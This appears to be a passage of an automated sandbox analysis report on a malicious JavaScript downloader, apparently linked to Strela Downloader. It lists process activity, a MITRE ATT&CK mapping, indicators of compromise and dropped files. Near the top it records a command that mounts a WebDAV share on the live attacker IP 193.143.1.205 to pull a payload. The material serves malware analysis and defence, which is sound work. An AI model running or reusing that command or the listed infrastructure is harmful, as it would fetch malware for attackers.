Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
11267230832782128009.js	3%	ReversingLabs
11267230832782128009.js	8%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/D	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/9xB	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Qx	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
18.31.95.13.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.1386072699.000002347BD78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2578331410.000001E697000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/D	net.exe, 00000007.00000002.1386072699.000002347BDCB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/9xB	net.exe, 00000007.00000002.1386072699.000002347BDAA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1386072699.000002347BD9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1386072699.000002347BD78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1386072699.000002347BDAA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1388274648.000001E696E30000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/Qx	net.exe, 00000007.00000002.1386072699.000002347BDAA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588173
Start date and time:	2025-01-10 22:12:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	11267230832782128009.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/62@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.64.41.3, 162.159.61.3, 23.209.209.135, 184.28.90.27, 184.28.88.176, 199.232.214.172, 2.16.168.107, 2.16.168.105, 23.40.179.30, 23.40.179.47, 23.40.179.45, 23.40.179.27, 23.40.179.49, 23.40.179.25, 23.40.179.21, 23.40.179.50, 23.40.179.22, 13.107.246.45, 4.175.87.197, 18.213.11.84, 23.203.104.175, 13.95.31.18, 20.12.23.50
Excluded domains from analysis (whitelisted): chrome.cloudflare-dns.com, e4578.dscg.akamaiedge.net, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, geo2.adobe.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:13:37	API Interceptor	22x Sleep call for process: powershell.exe modified
16:13:40	API Interceptor	1x Sleep call for process: net.exe modified
16:13:41	API Interceptor	2x Sleep call for process: svchost.exe modified
16:13:48	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8811481056407011
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9T:0J7adfWuK0p/QDfKoPeuP0aN4fqoxg
MD5:	2B3AA9D6BFB91615DF422C9310D43AC7
SHA1:	8574295B1136739D2FBB8524B67E40150593197B
SHA-256:	77BB993F5573D3551DC93588777C7094EEAC06789A05195348E20FE7D3FCCB5A
SHA-512:	D4988B8E7153CADE1D5883FC1B784F975AAD376368765B45133A598090D3E6A0052AFB68B1C0541469F978B32CFF14D7F5BD5FC584D549BA9973BAA6EA033FBD
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x62b710b9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880402942227785
Encrypted:	false
SSDEEP:	1536:PSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:PazaPv4V4fXq2UaB
MD5:	7C6C332A57D5969C2C41B71C52AF6705
SHA1:	A3D580018972FBB1A81F43FD5C25E29ECE4CB2F4
SHA-256:	EAF015D64CA07BDBAEE56EA423F4BC08840574F6F8888292DFE3CE9D18F8EE4C
SHA-512:	32DEA0CA1EBF9032B190C4F743A3101110805AA495FF9359AE9543861CEAE272E347D746C8E0F039B6C2047E7C804429DB6D649322A8B29A48BA12F153326D5A
Malicious:	false
Preview:	b...... ...............X\...;...{......................X............{..)....}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{......................................)....}.6................{...)....}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08123992926044812
Encrypted:	false
SSDEEP:	3:Fb/lyYe7dRYKEXlVG0+q2Iqe8lQv+ZollNTt/4ll/Q6beV/:x8z7d+pGE8l6+CHtc6V
MD5:	C29271807B7EFD5D1D9754925EFC93EF
SHA1:	991C9359D817A5247125CB232ECFA6065EDFA288
SHA-256:	F21CBA4EAE05DD366972EAFFCACA79584E4D580E3D79D81B335788322168DFE5
SHA-512:	FA3AD55BAE85B2D5149B23AD1A446135EFB37D0AD8BFE1CE83353B868A4EC7ECDA16676227BB0BE1B210B6E294A852CD545890653508962AD28C31C493C927B7
Malicious:	false
Preview:	Ee#:.....................................;...{..)....}.......{...............{.......{....:......{.................{...)....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.225424980761813
Encrypted:	false
SSDEEP:	6:iO4xCUFK3+q2PFi2nKuAl9OmbnIFUtSxCsZmwsxCsVkwOFi2nKuAl9OmbjLJ:7yTvdZHAahFUt4b/Wx5wZHAaSJ
MD5:	647769A32C4CFFDA2DB403BB69F19F1E
SHA1:	C9BCAC31E2DD9BBEA2361153FFC51CDE0F05FC16
SHA-256:	17F110E6A6078BB3A8710622781468F4B25603A43693ED8DCA26310F392CB38C
SHA-512:	FD3091D110D2A170F32261210817E3A6C3B0AD3707B1264379C0B97194D5E081838B8EA091F3D9E45D0A8FBCC65F88AE18BC61AEC985D64C8AD7C2C64EF0CD88
Malicious:	false
Preview:	2025/01/10-16:13:41.236 1688 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:13:41.239 1688 Recovering log #3.2025/01/10-16:13:41.239 1688 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.225424980761813
Encrypted:	false
SSDEEP:	6:iO4xCUFK3+q2PFi2nKuAl9OmbnIFUtSxCsZmwsxCsVkwOFi2nKuAl9OmbjLJ:7yTvdZHAahFUt4b/Wx5wZHAaSJ
MD5:	647769A32C4CFFDA2DB403BB69F19F1E
SHA1:	C9BCAC31E2DD9BBEA2361153FFC51CDE0F05FC16
SHA-256:	17F110E6A6078BB3A8710622781468F4B25603A43693ED8DCA26310F392CB38C
SHA-512:	FD3091D110D2A170F32261210817E3A6C3B0AD3707B1264379C0B97194D5E081838B8EA091F3D9E45D0A8FBCC65F88AE18BC61AEC985D64C8AD7C2C64EF0CD88
Malicious:	false
Preview:	2025/01/10-16:13:41.236 1688 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:13:41.239 1688 Recovering log #3.2025/01/10-16:13:41.239 1688 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.129467755633269
Encrypted:	false
SSDEEP:	6:iO4xCCSM+q2PFi2nKuAl9Ombzo2jMGIFUtSxC7/ZmwsxCEtMMVkwOFi2nKuAl9OU:7yb/+vdZHAa8uFUt4Y//WrNV5wZHAa8z
MD5:	231108EBFAE049FFDAFCB21045B82221
SHA1:	428BAFF88903152395E156D9D19141417D05DE2E
SHA-256:	F97D14577FB21C5A88716D645CB34A5DE128262A2AB3A6E55C33BA6015DAF261
SHA-512:	99592074EE34F91686646AEC5FB7D8E2076598B9D8F3E6159482C797EC2CDAE4AB2F68D38BF25F2E8350C215C1FD392A3EA9CE2BDEF9059AD1E8215B2DFBBB85
Malicious:	false
Preview:	2025/01/10-16:13:41.252 201c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:13:41.253 201c Recovering log #3.2025/01/10-16:13:41.254 201c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.129467755633269
Encrypted:	false
SSDEEP:	6:iO4xCCSM+q2PFi2nKuAl9Ombzo2jMGIFUtSxC7/ZmwsxCEtMMVkwOFi2nKuAl9OU:7yb/+vdZHAa8uFUt4Y//WrNV5wZHAa8z
MD5:	231108EBFAE049FFDAFCB21045B82221
SHA1:	428BAFF88903152395E156D9D19141417D05DE2E
SHA-256:	F97D14577FB21C5A88716D645CB34A5DE128262A2AB3A6E55C33BA6015DAF261
SHA-512:	99592074EE34F91686646AEC5FB7D8E2076598B9D8F3E6159482C797EC2CDAE4AB2F68D38BF25F2E8350C215C1FD392A3EA9CE2BDEF9059AD1E8215B2DFBBB85
Malicious:	false
Preview:	2025/01/10-16:13:41.252 201c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:13:41.253 201c Recovering log #3.2025/01/10-16:13:41.254 201c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3d8eda8d-c6d5-4794-aa3a-2805f15f1075.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.967243666730525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqbEhsBdOg2HpYZcaq3QYiubpP7E4TX:Y2sRdszydMH2g3QYhbd7n7
MD5:	808B207E38DC77D8E3CE68A0D5336D9D
SHA1:	F1BD68A340EE3DE5A5BE2B90DFB629EDC5341696
SHA-256:	E8E6779658BB48A3708FA134BBD69B1BDA561B0432B27C0B4684CC32A1627428
SHA-512:	F9D4AAE1349B276E56A11821DC1F7CA9FAFFC4A8C2D875C9AAAC2D957D2C598408DAA58EABFF23CD3BC5AF5D764DE62338D088FA61E3A2C51234D7838D169F79
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103632676806","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":302072},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4TX:Y2sRds5TdMH43QYhbd7n7
MD5:	F371FDA655516B50D489FC8CFB1306C9
SHA1:	26FAC2270B5A1180925A6B601A8DA8AC188A0096
SHA-256:	730853F0624FCDD3E7C3874FE9A3249995249013D2EBD7F87AAC2A7EB8EF699A
SHA-512:	B8E2189A814C4063996FFF065FAFADE9EF12B7A01408572BCD3844C3CE7BDA1C8750B0DE390CCB61F0BB1193D01574B34C80A8BC5971C8429D8763C45298F8BA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4036c8.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4TX:Y2sRds5TdMH43QYhbd7n7
MD5:	F371FDA655516B50D489FC8CFB1306C9
SHA1:	26FAC2270B5A1180925A6B601A8DA8AC188A0096
SHA-256:	730853F0624FCDD3E7C3874FE9A3249995249013D2EBD7F87AAC2A7EB8EF699A
SHA-512:	B8E2189A814C4063996FFF065FAFADE9EF12B7A01408572BCD3844C3CE7BDA1C8750B0DE390CCB61F0BB1193D01574B34C80A8BC5971C8429D8763C45298F8BA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\eb7361aa-a439-4a7f-a6b6-a6f4c3a63b47.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4TX:Y2sRds5TdMH43QYhbd7n7
MD5:	F371FDA655516B50D489FC8CFB1306C9
SHA1:	26FAC2270B5A1180925A6B601A8DA8AC188A0096
SHA-256:	730853F0624FCDD3E7C3874FE9A3249995249013D2EBD7F87AAC2A7EB8EF699A
SHA-512:	B8E2189A814C4063996FFF065FAFADE9EF12B7A01408572BCD3844C3CE7BDA1C8750B0DE390CCB61F0BB1193D01574B34C80A8BC5971C8429D8763C45298F8BA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.230865422850267
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEV4RMSbLuT:wshFT0h7cZb2EVKZPEANcGIK5EV4RhLs
MD5:	2F4B95BC6D772722A3D436D78F5553AF
SHA1:	0EA2B5B174A4AC77B4A3273B5BE829A23B75805B
SHA-256:	4A1AC86A5EE0E5A44AE7121B5BF311B43F274A98A4DC75EB46D48AA524E777C0
SHA-512:	748989B43A953122C06B46B3D57561D2F767A353CFED3C88706054CB300CEB94B630CBE89CBDC1446A7D4339AB040C5A47BA7C30E9042885AF49DD5084BB8BAF
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.144252729772055
Encrypted:	false
SSDEEP:	6:iO4xGIM+q2PFi2nKuAl9OmbzNMxIFUtSxGCXZmwsx0RntMMVkwOFi2nKuAl9Ombg:7y2+vdZHAa8jFUt4JX/W0RntNV5wZHAo
MD5:	E06DB18CC5976B44C07B95A8474951BA
SHA1:	000FA50C0947DD97F09855B5A93BBF2E69A129C0
SHA-256:	C982B9103D1189679EFE11946126C0C7E228954C1F6BB9BB5992019DB9E5372B
SHA-512:	21CA58B417E8219520E326C6EB07FB1B43F1CC4BA4FAB7B70FBC27550938B0710DE9452270EABC1CF75F03C8B063F1A667BA43B8B966B13CFB4F4CB80FD9273B
Malicious:	false
Preview:	2025/01/10-16:13:41.620 201c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:13:41.661 201c Recovering log #3.2025/01/10-16:13:41.714 201c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.144252729772055
Encrypted:	false
SSDEEP:	6:iO4xGIM+q2PFi2nKuAl9OmbzNMxIFUtSxGCXZmwsx0RntMMVkwOFi2nKuAl9Ombg:7y2+vdZHAa8jFUt4JX/W0RntNV5wZHAo
MD5:	E06DB18CC5976B44C07B95A8474951BA
SHA1:	000FA50C0947DD97F09855B5A93BBF2E69A129C0
SHA-256:	C982B9103D1189679EFE11946126C0C7E228954C1F6BB9BB5992019DB9E5372B
SHA-512:	21CA58B417E8219520E326C6EB07FB1B43F1CC4BA4FAB7B70FBC27550938B0710DE9452270EABC1CF75F03C8B063F1A667BA43B8B966B13CFB4F4CB80FD9273B
Malicious:	false
